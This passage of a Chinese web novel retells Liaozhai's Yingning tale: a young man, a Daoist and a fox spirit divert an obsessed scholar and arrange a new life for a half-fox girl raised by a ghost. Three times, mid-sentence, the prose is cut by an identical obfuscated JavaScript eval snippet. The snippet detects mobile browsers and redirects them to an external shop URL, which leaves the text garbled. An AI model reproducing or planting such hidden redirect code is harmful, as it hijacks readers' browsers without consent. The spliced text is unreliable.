这婴宁从小接受的是什么教育啊?真是一丁点男女大防都没有,也没有一点对外人的戒心。他求助似的看向白行野,可作为一条龙的白行野对此话也没什么反应,反倒疑惑地回望了一眼。 白行野是没觉得有何不妥,小翠不也老来李家玩?不过是以小狐狸的形态。 在这两人面前倒是显得李钰他太过古板,他无奈道:“自然欢迎姑娘,可还得您家长辈首肯吧?”他可不希望自己被当成登徒子,第一次见面就想带人姑娘回家,于是搬出婴宁母亲婉拒。 婴宁却立刻道:“我去跟母亲说一声。” 说着又不管二人,转身就找她母亲去了。 39.婴宁(二) 李钰阻拦不及,只能心中叹气,若不是他不能暴露自己早知道婴宁是狐妖,他真应该把小翠带上来应付这姑娘,婴宁比他想的更加跳脱,他还真有些应付不来。 婴宁进屋了没一会儿,扶着老夫人一起出来了。 老夫人面色冷淡道:“我这女儿不懂事,给二位添麻烦了。如今天色渐晚,若不愿留宿二位便早些回家吧。” 这是赶人的意思了,果然把他们当作居心叵测之人了。不过李钰心里反而感激老夫人,他要真把婴宁带回去,家里倒好说话,可要是被四下邻里看到了,那恐怕就说不清了。 他向白行野使了个眼色,两人就一起告辞了。 出门前李钰忍不住回头看了一眼,婴宁正笑着冲他招手,嘴里还大咧咧喊道:“以后再来找我玩啊。” 李钰呆呆点了点头,赶忙将门关上。他俩走出一段路,他才总算松口气。白行野奇怪地问:“你怎么一副逃过一劫的样子,你也发现这家人不简单了?” “不是因为这个。”李钰摆了摆手,看来行野已经看出婴宁狐妖的身份了,后面的事就更好办了。 然而,白行野却道:“女儿是狐妖,母亲却是个女鬼,这我还是第一次见。” “那老夫人是鬼?!”李钰大惊。 “你不知道?那你方才那么紧张?那老夫人和婢女都是鬼,不,应该那一整个村子都是鬼!只有那个叫婴宁的姑娘却是个狐妖,实在有些奇怪。” 李钰闻言只觉身后阵阵发凉,他僵硬地扭头一看,身后哪里还有什么村落?而是一片散落着数十座坟茔的荒坟地! 其中一处坟茔尤为特殊,四周众花环绕,坟前还有一株碧柳。 “你怎么不早说?”李钰战战兢兢到。 白行野见状安抚道:“她们并无恶意,也不过就是生活在这一片的孤魂野鬼罢了。” 眼见着天色渐暗,李钰哪怕有过之前和王六郎、聂小倩相处的经历,可面对着一大片的荒坟野冢,深山鸦鸣,还是有些发怵,赶忙催促着白行野走。 两人回到家中,方才的惊吓已经被饥饿取代,李钰立刻叫人摆饭,还颇有胃口地边吃边问:“怎么就成了坟地?之前明明是是正常的村落和宅院。” 白行野不紧不慢地解释:“这其实跟之前咱们去见六郎一样,表面看上去是树,进去了却别有洞天。不过六郎那里是真正的洞天福地,对凡人自有障眼法。” “而我们今日去的那处,却是因为那里阴气聚集,孤魂野鬼们共同制造出了一个‘安乐窝’的幻象。” “原来是这样。”李钰想起婴宁今天热情地介绍自己花园的模样,有些不是滋味,原来她那么引以为傲的花园却是假象,也难怪她想来看看自己家的园子是什么样的。 白行野夹了一块鱼肉给他,“先吃饭吧,别想了。” 李钰点点头,也大快朵颐起来。 刚吃饱喝足,詹贵儿就找上门来了,非得听他们今天去了哪,怎么沾了鬼气回来?受不住他纠缠,李钰便将事情的经过简略告诉他。 听到狐女认女鬼为母亲的事,詹贵儿也有些惊讶,他问:“怎的不问问小翠姐姐,她本就是我们这一片土生土长的狐狸,朋友姐妹也多,说不定她听说过什么呢?” 李钰本来也这么打算的,但还是捏捏小孩的脸,夸道:“真是聪明的小孩儿,这个意见很好。你小翠姐姐家住哪儿?我们明日就去问问。” 詹贵儿揉了揉脸,“虽然我死的时候才六岁,可这都好几年了,我也算是个大孩子了,只是看起来小而已,况且我还读了书呢!” 两人被他逗得哈哈大笑,白行野帮腔道:“可不是,你哥就会小瞧人。” 詹贵儿立刻认同道:“就是就是。” “好好好,都是我的错。”李钰投降道,“你还没说小翠住哪儿呢?” 詹贵儿回想了一下才说:“我也没去过,但是往城东外的山里面找准没错,有道长哥哥在,应当是好找的。” “行吧,今天也累了,明天再说吧。”李钰伸了个懒腰。 詹贵儿又摆出谄媚的姿态,嘿嘿一笑,“那个……哥哥你能不能也带我去呀?我也想小翠姐姐了。” 带詹贵儿去倒是没问题,可他就想逗逗小孩,“带你去我还得打伞,麻烦。” 詹贵儿一听又要开闹,白行野忙制止了他,“把你装乾坤袋里,我带你去。” 小孩立刻喜笑颜开,对李钰摆鬼脸,“你不带我去算了,谁稀罕?道长哥哥带我去!” 一大一小又是一阵闹腾,吵得白行野直摇头。 次日,三人一同出发。 到了城东山里一片翠竹林中,小翠感应到熟悉的气息自己就跑出来了。 她在山间活动的时候还是喜欢用原形,抖着一身蓬松红毛的小狐狸仰头看着李钰和白行野,问道:“你们怎么来了?” 还不等两人作答,詹贵儿就从乾坤袋中钻了出来,跳到地上喊道:“小翠姐姐,我来找你玩了!” 竹林里枝叶繁密,可仍有点点阳光透过缝隙细细洒下。李钰忙将伞撑开,支在詹贵儿头顶挡着,责怪道:“能不能小心点。” 詹贵儿吐了吐舌头,这次没敢回嘴。 小翠变回人形,将伞接了过来,和詹贵儿一起挤在伞下。 “这才多久?你俩好得跟亲姐弟似的。”李钰都有些吃味了。 小翠笑笑不答,只问他们:“说吧,找我什么事?” 见小翠这般痛快,李钰便将事情起因经过,从头到尾说了一遍,又问:“这婴宁也是狐,你知道她的事吗?” 小翠听完想了想说:“我还真听说过这个小狐狸,她也不算是真的狐妖,顶多只能算上个半妖,她是她父亲和狐妖所生的孩子。” 李钰看向白行野,白行野点了点头,想来他也发现了婴宁和别的狐妖不一样。 小翠继续道:“我们这里的妖精们知道这事的不少,她现在那个女鬼母亲,其实是他父亲的结发妻子,算是她的嫡母吧。可她去世的早,她父亲后来被狐妖迷住了,生了这个婴宁后,他父亲没多久也死了。他们家的人找来天师在家里做法,狐妖也不能再留下去。也不知道怎么想的?她生母自己不愿意养,带着女儿找到了已经做了鬼的嫡母,将其托付给她,自己拍拍屁股走了。也就是她那女鬼嫡母将她养到现在这么大的。” “居然还有这样的事!”李钰听得瞠目结舌,“这么说,婴宁算是狐生鬼养?” “就是这个意思。”小翠点头道。 “原来如此。”白行野心中的疑惑也总算得到了解答。 李钰有点担心地说:“可她毕竟还有一部分人的血统,这样长期住在坟地,也不太好吧。” 小翠耸耸肩,“谁知道呢?我们也都觉得奇怪呢。都猜她母亲估计也想给她找个归宿吧,可她这样的身份想嫁个正经人家也难。” 说到嫁人,小翠就想起李钰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151071|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚刚提到的王子服,忍不住又起了身鸡皮疙瘩,说道:“不过王子服那样的就算了,总感觉不太正常。” 李钰无法反驳,甚至十分认同。可这时想要对小翠提出帮王子服转移视线,至少别再不吃不喝了的话,就实在有些说不出口了。 倒是白行野不欲再闲话,直接了当地提出,“所以我们才想托你找些漂亮的女子迷惑那王子服,帮他转移注意力。虽然他确实有些……”白行野顿了顿,措词了片刻想出两个字,“怪异。” 李钰跟着解释道,“他毕竟是我朋友的表弟,我朋友在其中也有一些责任,而且他也没有做什么伤天害理之事。也不用你的姐妹们如何去迷惑他,只是若能有其他女子出现,压过婴宁在他心中的地位,让他认识到这世间还有千千万万的美貌女子,或许这能让他重拾对生活的希望,不再这么郁郁寡欢到水米不进的地步。” 说出这番话李钰都有些不好意思,靠这重拾生活的希望只能是一时之计,就怕还会有后患。万一把王子服弄成一个流连烟花的花花公子了怎么办?只求吴志才往后能多多帮着他姑母,好好看管住这小子。 小翠想想也是,她对王子服印象虽不好,可对方毕竟只是祸害自己身体,折磨家里人,便答应道:“好吧,我们狐族好看的小姐妹多得是,就当是还你们当日帮我的人情了!” “那就多谢你了,回头我带一批我们胭脂铺的好货送给你们。” 小翠双手一拍,惊喜道:“那太好了!离开王家时我都没带我那些胭脂水粉,后面老是为此后悔!” 李钰又连声保证带好的、带贵的,小翠听得是心花怒放,更加积极地配合二人商议如何完善计划。 直到夕阳西下,三人才告别小翠。詹贵儿抱怨他们都在谈事,根本没玩什么,小翠又答应他一定常去找他,这才依依不舍地跟着李钰两人走了。 话分两头,又过了两日,王子服今天又派小厮去催了他那表哥,明明答应了他,却这么久就都没个回信。 是那位姑娘不愿意?还是她的父母不答应? 他日夜忐忑,辗转反侧,却等不来一个明确的答复。前几日因为表哥带来了找到人的好消息,好不容易稍微养回来的身体,眼见又要开始不思茶饭了。 王子服有些气恼,心里暗自下定决心,今天要是表哥再不回信,我便自己出去找人。 而这一次,吴志才没有让他失望,好些日子避而不见的人居然亲自上门来了。 王子服几步迎上前,急切道:“好表哥,可是有消息了?” 吴志才故作轻松地笑了笑,“有啊,之前是我搞错了人,你说那姑娘貌美、爱笑,年方十七八的样子,可这样的姑娘多了去了,我一时就找岔了,找到远房表妹头上去了,一问才知人家上元节压根没出过门。我可又是花了好一番功夫才找对人家,这次肯定没问题。” 王子服绷着脸道:“爱笑又貌美的姑娘或许多,可那位却不一样,相貌是我平生罕见,不似一般女子。” 吴志才见他又面露神往,摇了摇头,“那是你见过的女子太少了,你从小到大也不怎么出门,一天天不是困在家里就是书院,随便看到个丽人都觉得是国色天香。” 王子服自然不认同,“绝非如此!表哥你这么说,该不会是又找错了?不行,你得带我亲眼去看看!” 吴志才心里偷乐,好啊,就等着你这出呢!于是毫不迟疑地领着王子服在姑母担心的目光中出了门去。 40.婴宁(三) 两人倒也没走多远,径直来到了一户宅邸前。王子服抬头一看,疑惑道:“这里……不是表哥你那好友王彦的宅子吗?” “对呀,你有所不知,此前因你说的那姑娘不好找,我就跟朋友们提了提,想让他们也帮帮忙。这才知道原来王彦他家姨母带着三个表妹回老家省亲,他们家就是亲族特别多,常有亲朋来访,我们也没当回事儿。”吴志才将李钰教他的话边想边背了出来,“我提了你的事,他才说当时上元节的时候,那三姐妹也去城郊游玩来着,而且途中还各自走散了一会儿。时间地点都对得上,听说那三位表妹也都是美人,就是不知道你遇到的是哪一位?” 王子服有些怀疑,“又是表妹?” “又不是你我的表妹!别人还不能有点亲戚了?”吴志才提高音量掩饰心虚。 他看了看四周,又压低声音道:“她们这些闺阁小姐平日里也不便见外男,若不是那种节庆之日外出被你遇到,哪有现在这些事?我也是拜托了王兄许久,今日才敢上门拜访,让你先远远地认一认。” 王子服听他说到这份上,也信了半分,拱手道:“那便多谢表哥,这就带我去看看吧。” 吴志才将人领了进去,王家仆人将他俩引到王彦书房,王彦已在里面等着了。见到王子服上下打量了一番才说道:“许久不见贤弟,居然如此消瘦了,我差点都不认识了。你放心,你的事志才已经跟我说了,我书房的西窗正好对着花园,我那三个表妹时常在那里玩,你到时候就好好认认吧。若是有这个缘分,我便让你嫂子帮你说媒。” 王子服听王彦都如此说,这下居然也觉得十有八九是那三个表妹之一了,连忙拱手行礼,连连道谢。 王彦邀二人坐到西窗前的桌旁,叫人上茶后,三人就有一搭没一搭地闲聊着,王子服更是又激动又紧张地频频看向窗外。 窗外,王家的花园种植的花卉草木并不算多,如今也只有梅花盛放,搭配着一些灌木盆栽,也显出几分错落有致来,花园整体开阔,倒是适合闲亭信步。 王子服接连喝了三杯茶,终于听到花园内传来几声女子的嬉笑声。他连忙起身循声看过去,三名妙龄女子正走到梅树下折梅闲谈,互相逗趣,笑声极是动听。 要说那三位女子,各个身姿婀娜,眉目如画,巧笑倩兮。一个颜若朝华,皓齿星眸,举止灵动;一个玉面淡拂,朗目疏眉,透着出尘之姿;最后一个,柳眉如烟,艳若桃李,更是千娇百媚。 三人俱是美人,各有风姿,难分高下,竟让人生出一丝百般红紫各争妍之感叹。 吴志才在一旁小心翼翼地观察着表弟的神色,见王子服只是痴痴地看着三人,也不说话。他实在忍不住,便问道:“表弟呀,这三位里面哪位是你上元节遇到的姑娘?” 王子服听到表哥的声音才回过神来,他回想了一下,居然觉得上元节那位的面目有些模糊了,只记得特别爱笑。他又看向梅树下的三位,也不知其中一人说了什么,逗得另两人粲然展笑,个个都笑靥如花。 “表弟?表弟!”见王子服又看入神了,吴志才真无语了。 王子服也自觉丢人,道了声:“失礼了,其实这三位都不是我那日见到的姑娘。” 他说这话的时候,对面两人注意到此时的他似乎并没有表现得太失落。 王子服又迟疑着说:“我从未想过,世间女子居然是如此多姿多彩,当日也不知是怎么了?就心心念念着那一位。如今见到王兄的表妹们,方知何谓美女如云。” 王彦连忙接过话,“这有什么,我家这几个表妹也只算是中人之姿。” “这三位哪里是中人之姿?皆是风华绝代的佳人啊!”王子服还以为王彦在谦虚。 “哈哈哈哈哈哈哈……”王彦大笑出声,对吴志才道,“志才,你这表弟莫不是关在家里太久了?这世间女子千千万,美貌的女子多了去了,我这三位表妹还真算不上什么绝色,我当初去金陵可见过不少在她们之上的呢。” 吴志才也配合道:“我表弟往日沉迷读书,外出见识的机会确实少,也不怪他少见多怪。” 两人一唱一和的调侃听懵了王子服,他失落地坐下,喃喃自语:“难不成真是我见识太过短浅?” 吴志才趁热打铁,“可不是,我知道你不好出门,没见过多少美娇娘,一时被迷住也正常。不过你想你这般天赋,以后若继续好好读书,自有更广阔的天地任你遨游,那时候你可以见识到各种各样的人。说不定有朝一日,真能得见那书中的颜如玉呢?” 打击完对方再画饼,李钰教的这法子希望真能有用吧。 王彦也顺着吴志才的话调侃了两句,两人相对大笑,显得王子服之前的一切行为是那般可笑。 听着二人刺耳的笑声,王子服一时有些羞愧难当,又望向窗外,那三名女子和读书人心中的“颜如玉”相比,到底谁会更胜一筹呢? 他遗憾地摇摇头,道:“之前让表哥和王兄担心了,我也未曾想到自己苦读多年,竟活得如同井底之蛙一样,此番……也算是长见识了。” 吴志才心下一喜,表弟这是想通了呀! 果然,只见王子服起身就欲告辞,“我之前太过偏执,让王兄见笑,现在才发现天下之大,我却从未触及。失礼了,我先行告辞,之后再好好谢过二位。” 王彦也不再多说,将他们二人送了出去。 回家的路上,吴志才还没完全放心,试探问道:“那姑娘还继续找吗?” 王子服摇摇头,“不必了,劳表哥费心,不用再送我回去,我自个儿走走,好好想想。” 他都这样说了,吴志才立时放松,这下可终于把这事办妥了,他姑母也不用天天来他家哭诉了! 吴志才又装作关心地嘱咐了几句,目送王子服走远,转头就回了王彦府上。 再进王彦的书房,就见李钰和白行野也已经落座了。 吴志才几步走上前,高兴道:“可算断了那小子的心思!李大少爷,白大道长,你们这一招可真是厉害!” 几人闻言也放下心来,李钰道:“那就好,只要他不再搞出郁郁寡欢、命不久矣的样子,我们想这般迂回的法子也不算白费,还得感谢王兄替我们一起圆这个谎。” 王彦摆摆手,“这么点小事不算什么,还让我看了场好戏呢。对了,那三位姑娘你们是从哪找来的?真是这辈子没见过这么漂亮的娘子!” 吴志才听他这么问,也目光灼灼地看向二人。 李钰早料到这些人会来这一出,给白行野递了个眼色。只见白行野不慌不忙地掏出三个纸裁的小人,冷淡道:“就在这里。” 王彦和吴志才立刻面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156866|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 露失望。 “原来是白道长的术法变的。” “我说呢,这世间哪有这样的绝色。” 李钰心中呸了一声,还说人家王子服呢,我看你俩也不遑多让。 他又对吴志才语重心长地叮嘱道:“你之后可得好好管教一下你那表弟,明明是个神童,小小年纪就考上秀才的人。心思却偏执太过,行事也如此荒唐,连性命都不当回事!尤其是以后结亲又不是只看脸,他这思想很有问题!” 李钰语气少见的严肃,吴志才和王彦也收起嬉笑。 吴志才叹道:“谁说不是呢?也是我姑母太惯着他了,他又早早没了父亲,这性子也不知道怎么就养成这样。不过李贤弟你不必担心,就因为这事我姑母三天两头去我家哭,我们家老爷子早都发火了,要不是因为我表弟现在身体不好,不方便管教,那板子早都打到他身上去了!这次以后我那姑母还敢护着他,我爹都不答应!早跟我提了,等他养好身体以后,就接他到我们家去好好管教一段时间。” 李钰平日里觉得吴志才这人不靠谱,可他倒也从不做什么逾矩之事,吴老爷子治家严厉的手段他也听说过。王子服本身年龄不大,有吴老爷子在,多少也能给他扭转回几分吧。 吴志才怕大家不信,又将自己从小到大如何受老父亲折磨的种种事迹道来,听得众人哭笑不得,聊了半天才散去。 离开王家,李钰和白行野便带着准备好的礼物又去了翠竹林。为了感谢小翠和她的姐妹们,特意送上了自己家包装最是精美,卖得最好的胭脂粉黛。狐妖们高高兴兴地收下了,还让李钰再有这种事儿也找她们去。 李钰苦笑点头,心里却想的是,王子服这样的,要不是怕他去找婴宁,他才懒得管。 如今,王子服这边的问题倒是解决了,但是婴宁的处境还是让人有些挂心。因为婴宁不是纯粹的狐妖,她可是有一半人类血统的,长期住在阴气聚集的坟地恐于她有碍。 李钰思虑再三,最终还是决定和白行野再去荒坟地拜访一趟,如果婴宁母女有何难处,他们能帮则帮。 不过,这一次李钰机智地带上了小翠,小翠毕竟是和人生活过挺长一段时间的狐妖,不论哪一边多少都懂些,应当能和婴宁聊得来。 他们第二次的到来,得到了老夫人的亲自招待。李钰明白这是看在小翠的面子上,想必是老夫人已经看出她狐狸的身份了。 婴宁也特别开心,和李钰、白行野打了招呼后,眼神就直直落在带着亲切气息的小翠身上。大概是同类相吸,她表现得十分亲热,拉着小翠坐到一旁。 “这位姐姐生得好生秀丽,不知姐姐如何称呼?” 小翠不说话的时候还是很有迷惑性的,只要一开口,大大咧咧的性子就藏不住了,“我叫小翠,你就是婴宁?” “小翠姐姐,你竟知道我?”婴宁脸上露出惊喜之色。 “当然,我知道你的事。”小翠点头道,颇为热情地说,“今日来就是想问问你要不要离开这里?你半人半狐总不能一直住在聚阴之地。” 本来还想先寒暄一下,再委婉提及婴宁处境的李钰,听到小翠一开口就单刀直入地点明了来意,根本来不及阻拦。眼睁睁地看着本来笑盈盈的婴宁,听了她的话后笑意淡去,一双翦水秋瞳更是透着浓浓的无措和悲戚望向她的母亲。 41.婴宁(四) 李钰连忙起身道歉:“对不起,小翠素来心直口快,她并没有冒犯之意。” “这又怎么了?我们来此本就是想帮她们一家,有什么不能说的?”小翠疑惑道。 可你说的方式也太直接了,不能循序渐进吗?李钰急得不断给小翠使眼色。 老夫人却笑了,“哈哈哈哈哈哈哈,还没曾见过这么直爽又伶俐的小姑娘,小狐狸你是东边翠竹林的吧?我听说那一带狐狸挺多的。” 小翠笑着应道:“是啊夫人,我们那边姐妹多,如果你想让婴宁妹妹和我们回去学做狐妖,我们都很欢迎的。” 老夫人却摇了摇头,“我现在虽是一个孤魂,可曾经也是人。婴宁毕竟是她父亲的血脉,又是被我一手养大,从小就是当人养的,更不曾接触过妖类,若让她去适应狐狸的生活,恐怕还是太难为她了。” 小翠没想到自己会被拒绝,但老夫人说的也有道理,毕竟她一个狐狸在人族中呆的那几年,也是方方面面都不适应。 “我一直也想为她找个归宿,她从小在这极阴之地长大,多少有些体弱的毛病。如今越发大了,若是嫁给一个正经人家,从此有了好的归宿,我这做母亲的也才可安心投胎去。”老夫人说完长叹一声。 婴宁含泪听着母亲的话,嘴唇几次开合,却都没说出什么。 李钰这才明白,原来婴宁的养母是因为要养大她,才放弃了去投胎吗? “你叫李钰是吧?”老夫人忽然转向李钰问道。 “是的,小子李钰。” 老夫人面带和蔼之色,温声道:“上次你们来,还以为你们是什么浪荡子,如今看来却是我误会了。我知道你旁边那小子非是凡人,你们两次前来,我也看得到你的诚意。” 李钰一脸懵,什么诚意? 见他表情疑惑,老夫人迟疑道:“难道你不是看上小女,想求娶她的吗?你若不嫌弃她半人半狐,便领她去吧。看你是个好心的,家境看着也不错,我想婴宁跟着你,应当也是不会受苦的。” 这又是怎样的误会呀? “不可!” “这可不行!” 白行野和李钰异口同声道。 两人相视一眼,仿佛又回到了当日面对青蛙神的时候,怎么这些人一个二个的都那么喜欢安排亲事? 李钰赶紧道:“夫人你误会了,我们那日来真是意外,只是因为这位白道长看出了你们的身份,觉得婴宁长此以往住在这里会有不妥。可我们也不知其中缘故,因此才再次登门拜访,征求你们的意见,看看有没有什么可以解决的办法。” 他在心里呐喊:我们这真是纯属好心啊! 老夫人这才明白过来,面上还有些失望,“哎……我这女儿如今也大了,她不嫁人,以后怎么生活得下去?她从小就在这荒山野岭住着,我也没教过她多少规矩,由着她玩闹。如今年岁渐长才不得不为将来做打算,我这日愁夜愁,都不知道以后能把她托付给谁。” 小翠一听到规矩就难受,强忍着没说话。 李钰这下也明白了,怪不得在原本的故事中,婴宁和王子服不过见了一两面就谈婚论嫁了,原来也少不了这位夫人牵线。虽说是爱女心切,可她不知道接受了这桩婚姻的婴宁,找到了所谓的“归宿”也并不开心。 再看看眼前的婴宁明明单纯憨直,像个孩子一样,在还不懂何为情爱的时候就嫁给王子服,也是因为自己不想再拖累母亲了吧。 就像此刻,婴宁听着众人谈话,自己却不发一语,只是因为她知道为了养育她长大,她这个与她毫无血缘关系的养母,已在人间强留了太多年。 李钰不禁有些动容,正色道:“夫人爱女之心,李钰明白。可您看婴宁天真烂漫如孩童,也未在俗世生活过,您如此急切地想将她嫁人,又如何能知她往后就能过得像现如今这般肆意快乐?” 夫人闻言沉默下去,婴宁看着母亲消沉的模样,眼泪也止不住地簌簌落下。她走到母亲身旁跪下,将头倚靠在母亲膝上,始终不曾为自己的未来争辩一句。 前几日,李钰其实就想好了婴宁的去处,便细细道来:“如若夫人信得过我,可让婴宁去我母亲手下做事,我母亲手上经营有一家脂粉铺子,里面大都是女伙计。只要婴宁愿意学,我可以提供住处,本身我们那个铺子里,也都是原来庄上的孤女和寡妇。现在她们都自己能挣钱养活自己,也都住在一个院里。若是婴宁以后遇到合适的人,我在此承诺您,我会请我母亲为她准备嫁妆,送她出嫁的。” 此话一出,老夫人激动地扶着婴宁站起身来,“此言可当真?” 又像怕李钰反悔似的,忙福身下拜,“秦吴氏谢过李公子,小女以后就托付给你了。” 李钰明白了吴娘子的爱女之心,怕她不放心,生生受了这一拜。 吴娘子泪流满面,抱着婴宁哭了许久,情绪才缓和下来。各种担忧又涌了上来,她犹豫半晌才问道:“李公子为何如此帮我们母女?” 李钰怔住,非要说原因的话……只是因为他遇到了她们,知道了她们的情况,而他又正好有这个能力帮她们。 回想这一年,原来在这个世界中,他已经遇到了这么多的人。 被害了性命的小孩,被毁了买卖的小贩,被拐卖的妇女儿童;遭受胁迫的女子,经历科举悲剧的家庭,无奈接受人生安排的少女…… 李钰帮他们没有任何目的,只是因为三个字——不忍心。 他在这一刻才真的明白了,为什么《聊斋志异》是一本充满批判,揭露社会黑暗的故事集,这些用鬼妖故事揭露底层民众的悲剧,原来是如此频繁地出现在他的生活中。 李钰自认并无救世之能,但好在他的力量能帮到自己目所能及的些许人。 “李钰,你怎么了?”见他久久不语,白行野略有担心地问到。 李钰看向他,忽然从内心深处生出一种奇妙的感觉。 他的力量不止这些,他还有白行野。 他悄悄用手背碰了碰白行野的手背,表示自己没事。 然后对吴娘子回道:“也没什么缘由,但求问心无愧罢了。” 事情已经说好,他们也没准备久留。约定过两天来接婴宁,也留给母女二人一点时间告别。 吴娘子感激地让婴宁去送送他们,婴宁应了一声,带他们沉默地走出坟地。 看着不复平日笑颜,反而惴惴不安的婴宁,李钰不太好受,他做此事的起因就是想让婴宁能一直保持她天真无邪的笑容。 他止住脚步,对婴宁道:“婴宁姑娘,刚刚一直没见你说话,我也不知我的提议你是否接受?如果你觉得有什么不妥之处,可以直说。” 婴宁摇了摇头,“公子安排已经足够好了,尤其是和找个不知是谁的人嫁了比起来,只是……” “只是什么?如果我能帮的,我一定尽力。” 婴宁道:“李公子有所不知,我母亲逗留人间许久,不仅是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17162140|195725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为我。她当初没有早早去投胎,就是为了等着和我父亲合葬,可惜直到我父亲身死也没有等来,父亲还被葬在老家,无人记得我的嫡母。” 李钰不明白这样男人有什么跟他合葬的必要,但既然是吴娘子的心愿,便尽力而为吧。 “我会派人去找你父亲其他的亲眷安排合葬事宜,本来你母亲葬在此处也于礼不合,这样你应该就可以放心了吧?” 本来满面愁容的婴宁,此时雨霁天晴,再次露出了那熟悉的笑脸,还学着今天母亲的样子福身行礼,“多谢李公子!如此,我便可安心了。” 他们三人看婴宁笑得可爱,也都忍不住露出笑容。 小翠拉着婴宁的手,道:“我虽是狐狸,但我也略通人间之事。以后我把我的故事告诉你,你有什么不懂的也可以问我。” 李钰欲言又止,罢了罢了,小翠应当心里有数吧。 终于在回程的路上了,他们三人出行可不算容易。白行野不愿让小翠骑,小翠又不乐意进乾坤袋,只能变作小狐狸,窜到李钰肩头坐着。 即便如此,白行野也不痛快地哼哼好几声,小翠更是骂道:“果然第一印象很重要!当初第一面就不讨喜的人,往后再怎么变也不讨喜!” 李钰两头安抚,倒也不烦。不过,下次来接婴宁的话,他还是坐马车来吧。 回到家后,李钰把婴宁的事跟娘亲一说,不过隐瞒了婴宁是半妖的事,只说是遇到了一个独自住在山野里的孤女。 木大娘子心善,自然没有意见,让他到时候把人接过来,她会嘱咐胭脂铺的娘子们好好照顾她的。 说到婴宁的事,李钰又想起秦吴氏,秦吴氏的夫家和娘家在她死后,将她埋在那么荒僻的坟地,此后也无人祭拜她,丈夫还和狐妖生了孩子,而她却依旧心心念念要与夫君合葬。李钰虽尊重她的愿望,愿意尽力帮忙,却实在无法理解她的选择。 将思绪压下,李钰扬起笑容转移话题,说起白行野送的灵芝,一问才知他爹娘居然都不舍得吃。 木若菱对白行野是满口称赞,“白贤侄也太客气了,本来我们邀他住下也没图他有个什么回报,竟然送来这么贵重的药材,还是他自己进山里采的。若不是你爹说收下了他能住得安心一点,我还真不好意思收。” 李钰一脸与有荣焉,“娘,人送你了你该吃就吃,赶明儿找黄大夫来把把脉,若是体内有什么虚处,看灵芝能不能用上,配合开个调理的方子。不说延年益寿,就是养血补气也是好的。” 这个时代虽没有体检,隔段时间把脉看看,平时也注意调理,对二老肯定是有利无弊的。 木若菱笑道:“知道,你就瞎操心吧。我这些日子老是被贵儿催着,每天都出去走走,非让我多晒晒太阳。你们一大一小,真是一天天比我们这些老人家都操心。” 李钰想起之前和詹贵儿说的话,这小东西没想到做事还真靠谱。 说到这,木若菱忽然想起了一件事,说道:“最近出门多了,倒是和隔壁赵员外他们家又熟络起来了。你肯定不知道,当初他们家女儿和你姐姐小惠可是闺中密友。只可惜你姐姐走得早,如今看到赵家小姐出落得越发亭亭玉立,赵家两口子也心疼孩子,前些日子还招了个上门女婿。我看到赵家小姐就像看到你姐姐一样,她要是活到现在说不定也成家了,说不定我们也是招个会心疼人的儿郎入赘……” 李钰见娘说着说着就出神了,她应该很想念她那早逝的女儿吧。 42.危机将近 “娘,姐姐她是个什么样的女孩?” 木若菱回过神来,怜爱地摸了摸李钰的头,目光温柔地落在李钰脸上,他的脸上依稀可找到女儿李惠的影子。 “你姐姐打小就聪慧,在她小时候我们还给她请过女先生,先生都说她在读书上的天赋比起男子也不差。长得也水灵,和你一样,尤其是你小时候的模样特别像她的。她爱花还极擅女红,喜欢绣并蒂花,你看这个。” 木若菱将床头的一副绣品取来,上面绣的是彩霞环绕的一只并蒂花,极有巧思。 “你姐姐绣这一幅的时候,被剪刀刺破了手,血滴在绫子上,你姐姐就把它绣成红色的彩霞。”木若菱抚摸着绣品上的彩霞,感叹道,“多聪明灵秀的孩子……可就是身体太弱,找了无数的名医都没用,说她是娘胎里带来的弱症,只能好生养着。” “哎……”木若菱深深叹了口气,“小惠从小就开始喝药,那么小的娃娃明明怕苦得很,每次喝药脸都皱成一团,可她懂事得紧,从来都不喊苦,就是怕我们心疼。可即便再如何精细养着,老天爷还是早早把她带走了。” 如今提起姐姐,木若菱已经可以很平静地叙述,但李钰看得出,即便过去这么多年,他的娘亲还是没能走出失去女儿的伤痛。 木若菱收起情绪,对李钰笑了笑:“你看你小的时候,虽然不及你姐姐聪慧,但是从小就不怎么生病。如今更是聪明了,想来也是你姐姐在天上,一直保佑我们一家吧。” 李珠儿小的时候应当不只是不及李惠聪慧吧?本还有些伤感的李钰差点被娘逗笑,他重重点头,“一定是姐姐在保佑我们!娘,我以后会连着姐姐的份好好孝敬你和爹的!” “好好好,其实娘不求你有多大成就,只要你健康平安就是对我们最大的孝顺。”木若菱如此说道。 